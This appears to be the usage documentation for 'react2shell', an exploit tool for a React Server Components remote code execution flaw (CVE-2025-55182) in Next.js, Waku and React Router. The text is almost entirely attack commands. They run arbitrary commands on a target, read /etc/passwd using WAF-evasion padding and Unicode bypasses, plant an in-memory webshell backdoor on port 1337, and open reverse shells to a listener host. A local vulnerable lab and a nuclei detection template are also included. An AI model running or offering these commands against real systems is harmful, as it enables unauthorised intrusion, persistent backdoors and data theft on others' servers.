cd cli
pip install -r requirements.txt

# Scan a target
python react2shell.py https://target.com

# Execute command
python react2shell.py https://target.com -c "id"

# Interactive shell
python react2shell.py https://target.com -i

cd lab
docker-compose up -d

# Exploitable targets:
# Next.js Vulnerable:    http://localhost:3011  ← Full RCE
# Waku Vulnerable:       http://localhost:3014  ← RCE (blind - no HTTP output)
# React Router:          http://localhost:3015  ← Full RCE (ESM)

# Protected targets:
# Next.js Patched:       http://localhost:3012  ← Secure
# WAF Protected:         http://localhost:3013  ← ModSecurity blocks exploits

nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com

# Basic scan (auto-detects framework)
python react2shell.py https://target.com

# Detect framework and enumerate endpoints
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v

# Execute command on different frameworks
python react2shell.py https://target.com -c "id"                    # Next.js (auto)
python react2shell.py https://target.com -F waku -c "id"            # Waku (blind RCE)
python react2shell.py https://target.com -F react-router -c "id"    # React Router (ESM)

# Lab examples with output
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt"  # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id"        # React Router

# Execute command with all WAF bypasses
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u

# Interactive shell through proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080

# Install in-memory webshell (creates backdoor on port 1337)
python react2shell.py https://target.com --webshell mypassword
# Access: curl 'http://target:1337/?p=mypassword&cmd=id'

# Reverse shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash

# Scan local project for vulnerable versions
python react2shell.py -L /path/to/project

# Batch scan with output
python react2shell.py targets.txt -t 20 -o results.json -v

Opzioni di esecuzione:
  -c, --cmd             Comando da eseguire
  -i, --interactive     Sessione shell interattiva
  -r, --reverse         Modalità reverse shell
  -l, --lhost           Host di ascolto
  -p, --lport           Porta di ascolto
  -S, --shell-type      Tipo di shell (nc, nc-mkfifo, bash, perl, python, ruby)
  -f, --read-file       Leggi un file remoto

Opzioni di scansione:
  -P, --path            Percorsi da testare (separati da virgola o file)
  -t, --threads         Numero di thread (predefinito: 10)
  -T, --timeout         Timeout richiesta in secondi (predefinito: 10)
  -s, --safe            Modalità sicura (nessuna esecuzione di codice)
  -L, --local           Scansiona directory progetto locale
  -F, --framework       Framework target (auto, nextjs, waku, react-router, expo)
  -E, --enumerate       Enumera endpoint RSC prima dello sfruttamento
  --detect              Rileva solo il framework e elenca gli endpoint
  --webshell            Installa webshell in memoria sulla porta 1337
  --rce                 Modalità proof-of-concept RCE (predefinita: modalità sicura)

Opzioni di bypass:
  -w, --waf-bypass      Padding di dati junk
  -W, --waf-size        Dimensione junk in KB (predefinito: 128)
  -u, --unicode         Bypass codifica Unicode
  -V, --vercel-bypass   Bypass specifico per Vercel
  --windows             Payload PowerShell per Windows

Opzioni di richiesta:
  -x, --proxy           URL proxy (es. http://127.0.0.1:8080)
  -H, --header          Intestazioni personalizzate
  -A, --user-agent      User-Agent personalizzato
  -k, --insecure        Disabilita verifica SSL

Opzioni di output:
  -o, --output          Salva risultati in JSON
  -v, --verbose         Output dettagliato con rilevamento versione
  -q, --quiet           Mostra solo target vulnerabili
  --no-color            Disabilita colori
  --no-banner           Nascondi banner